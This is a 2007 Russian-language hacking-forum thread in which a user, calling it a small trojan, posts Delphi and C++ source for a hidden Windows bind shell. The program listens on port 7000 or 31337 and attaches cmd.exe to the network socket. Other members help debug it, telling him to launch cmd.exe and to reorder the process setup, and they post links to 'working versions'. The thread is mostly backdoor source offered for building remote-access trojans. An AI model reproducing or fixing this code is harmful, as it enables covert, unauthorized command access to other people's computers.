PDA

Просмотр полной версии : небольшой трой Bs


_PARAZIT_
03.10.2007, 17:31
народ помогите кто может и понимает в этом деле...
тока без лишнего трепа типа я крутой хакер а ты ламо...если можешь помоги!
написал эту дрянь (еще начало тока типа) - а она не работает... я конечно может не понимаю смысл и методику использования CreateProcess........ какие сдесь ошибки, подскажите...(ошибки в ДНК не принимаюцца:) )

program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
sa,addr_from:sockaddr_in ;
pi:PROCESS_INFORMATION;
len,rec:integer;
HWSAdata:WSADATA;
s,s_cln:Tsocket;
st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0);
sa.sin_family:=AF_INET;
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3);
len:=sizeof(addr_from);
while true do begin
s_cln:=accept(s,@addr_from,@len);
while true do begin
rec:=recv(s_cln, st, 100, 0);
if rec=0 then break
else begin
si.cb:=sizeof(si);
si.wShowWindow:=SW_HIDE;
si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.hStdInput:=s_cln;
si.hStdOutput:=s_cln;
si.hStdError:=s_cln;
si.lpDesktop:=nil;
si.lpTitle:=nil;
si.lpReserved2:=NIL;
CreateProcess(NIL ,'dir с:',NIL, NIL,TRUE,0,NIL,NIL,si,pi);
FillChar(st,255,#0);
end;
end;
closesocket(s_cln);
//sleep(100);
end;
closesocket(s);
WSACleanup();
end.

a1ex
03.10.2007, 17:36
Ты ли это написал?
И что он делает?

Ni0x
03.10.2007, 18:47
Есть такая штука, называется MSDN, там ты найдешь комментарий по каждой документированной функции.

http://msdn2.microsoft.com/ru-ru/default.aspx

И если ты хочешь, чтобы тебе помогли, нужно четко выкладывать суть своей проблемы.

Ky3bMu4
03.10.2007, 18:53
Это биндшелл на дельфях... Как мило.:)

У тя в CreateProcess вместо 'dir с:' должно быть 'cmd.exe' .

_PARAZIT_
03.10.2007, 19:19
да... это bind shell на делфях... сначало надо сделать и догнать все на делфях что б приступить на С, а то там ваще все темно и надо приступать со знание дела...

вобщем суть такова что он неработает почемуто...

program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
sa,addr_from:sockaddr_in ;
pi:PROCESS_INFORMATION;
len,rec:integer;
HWSAdata:WSADATA;
s,s_cln:Tsocket;
st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0); //создаем сокет
sa.sin_family:=AF_INET; //настрайваем его
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3); //число клиентов
len:=sizeof(addr_from);
while true do begin
s_cln:=accept(s,@addr_from,@len); //...кто то подключился
while true do begin //начинаем цикл обработки подключенного клиента
rec:=recv(s_cln, st, 100, 0); // принимаем команду
if rec=0 then break //если команда действительно есть то начинаем создавать процесс
else begin
si.cb:=sizeof(si);
si.wShowWindow:=SW_HIDE;
si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.hStdInput:=s_cln;
si.hStdOutput:=s_cln;
si.hStdError:=s_cln;
si.lpDesktop:=nil;
si.lpTitle:=nil;
si.lpReserved2:=NIL;
CreateProcess(NIL ,'dir',NIL, NIL,TRUE,0,NIL,NIL,si,pi); //во всех примера там где у меня dir стоит конечноже cmd (командный интерпретатор), но я думал просто что именно сюда надо прописать команду...или же команда выполняется автоматически с приходом чегонибудь в сокет из-за вот этой строчки si.hStdInput:=s_cln;
FillChar(st,255,#0);
end;
end;
closesocket(s_cln);
//sleep(100);
end;
closesocket(s);
WSACleanup();
end.


где неправильная логика? и вообще так ли пишут bind shell-ы? патамучто он даже если dir изменить на cmd... всеравно не пашет...протесть пожалуйста ктонибудь.

Ky3bMu4
03.10.2007, 19:54
rec:=recv(s_cln, st, 100, 0); // принимаем команду
if rec=0 then break

Это не нужно. Срузу после

s_cln:=accept(s,@addr_from,@len);

Нужно заполнять структуру:

si.cb:=sizeof(si);
si.wShowWindow:=SW_HIDE;
si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
...


И ещё раз говорю: нинадо никаких dir`ов, только 'cmd.exe'. После telnet`на забинденый порт получишь коммандную строку и всё.

_PARAZIT_
03.10.2007, 20:31
исправил...

program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
sa,addr_from:sockaddr_in ;
pi:PROCESS_INFORMATION;
len,rec:integer;
HWSAdata:WSADATA;
s,s_cln:Tsocket;
st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0);
sa.sin_family:=AF_INET;
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3);
len:=sizeof(addr_from);
while true do begin
s_cln:=accept(s,@addr_from,@len);
si.cb:=sizeof(si);
si.wShowWindow:=SW_HIDE;
si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.hStdInput:=s_cln;
si.hStdOutput:=s_cln;
si.hStdError:=s_cln;
si.lpDesktop:=nil;
si.lpTitle:=nil;
si.lpReserved2:=NIL;
CreateProcess(NIL ,'cmd.exe',NIL, NIL,TRUE,0,NIL,NIL,si,pi);
//closesocket(s_cln);
end;
closesocket(s_cln);

closesocket(s);
WSACleanup();
end.

при коннекте к нему как тока в телнете напишешь хоть одну букву сразу обрывается соединение...
closesocket(s_cln); ставил и в теле цикла и за ним - всеравно одно и то же...

W!z@rD
03.10.2007, 22:30
если подождешь... завтра кину парочку рабочих версий... сорцы на дельфи...

p.s. в bindshell'ах надо winsock2 юзать.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
перед всеми извиняюсь...
в winsock2 позволяет перенаправлять поток из консоли... туплю... да и вобщем пора бы понять что я ничего не знаю...

Ni0x
03.10.2007, 22:54
p.s. в bindshell'ах надо winsock2 юзать.

Это ты где такого начитался? Фленов, Кузьмич или может быть еще ктото? Я так полагаю этот вывод был сделан на основе пробемы связанной с SO_OPENTYPE? Может быть ты не в курсе, что UNIX системы крутятся на первых сокетах? Вот реально, только на античате в разделе кодинг можно поднять себе настроение на весь день.

KEZ
03.10.2007, 23:58
не гони, полно таких форумов, вот этот почитай когда скучно будет
http://www.sql.ru/forum/actualthread.aspx?bid=16&tid=466654&pg=1

W!z@rD
04.10.2007, 12:34
вот, держи:

http://slil.ru/24934202

_PARAZIT_
04.10.2007, 14:47
эта вещь тоже не работает... при коннекте telnet
как тока пишешь какуюнибудь букву сразу обрывается соединение....
при использовании собственного клиента - ноль реакции....

_PARAZIT_
05.10.2007, 00:01
ну помогите хоть ктонибудь... скомпильте мой пример или W!z@rD и скажите работает или нет... может у меня тут на компе что нить не так...

_PARAZIT_
06.10.2007, 18:51
ну помогите ктонибудь разобраться... а то ж я так и буду сидеть и тупить...
вот уже и на С++ скомпилил примерчик... с помощью groundhog все собралось...

#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
int main(){

SOCKET s;
struct sockaddr_in localaddr, clientaddr;
WSADATA wsaData;
typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE;
PIPE input, output;
SECURITY_ATTRIBUTES sa;
STARTUPINFO st;
PROCESS_INFORMATION pr;

WSAStartup(MAKEWORD(2,2), &wsaData);

s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(31337);

bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr));
listen(s, 0);

sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

CreatePipe(&input.hRead, &input.hWrite, &sa, 0);
CreatePipe(&output.hRead, &output.hWrite, &sa, 0);

ZeroMemory(&st, sizeof(STARTUPINFO));
st.cb = sizeof(STARTUPINFO);
st.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
st.wShowWindow = SW_HIDE;
st.hStdInput = input.hRead;
st.hStdOutput = output.hWrite;
st.hStdError = output.hWrite;

CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &st, &pr);

}

при коннекте telnet из IPtools почемуто ничего не работает - ноль реакции.......

Ky3bMu4
06.10.2007, 19:36
Вот те 100% работающий вариант:
http://forum.antichat.ru/threadedpost461763.html(последний пост)

_PARAZIT_
06.10.2007, 20:38
а ты думаешь я его не компилил? я уже тут все варианты попробывал...
при сборке твоего варианта выдается ошибка

Compiling...
bs.cpp
e:\c++\c++\project\bs_add\bs\bs.cpp(44) : warning C4101: 'buf' : unreferenced local variable
e:\c++\c++\project\bs_add\bs\bs.cpp(44) : warning C4101: 'type' : unreferenced local variable
e:\c++\c++\project\bs_add\bs\bs.cpp(43) : warning C4101: 'i' : unreferenced local variable
Linking...
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/bs.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.

bs.exe - 2 error(s), 3 warning(s)

кто то говорил что нада ставить win 32 а не консольное приложение (это типа ошибка оюозначает именно это)... но ведь я так и делал...
File->New->Projects->Win32 Applications
потом cpp фаил создовал
File->New->C++ Source file
.........а оно не собирается:(
но если закоментировать точку входа #pragma comment(linker,"/ENTRY:WinMain") - то собирается, и получаем exe...
врубаю телнет из IPtools, конекчусь - конектится... пишу md cat1 - и фиг ничего не создается... при команде dir - телнет ничего не оттображает....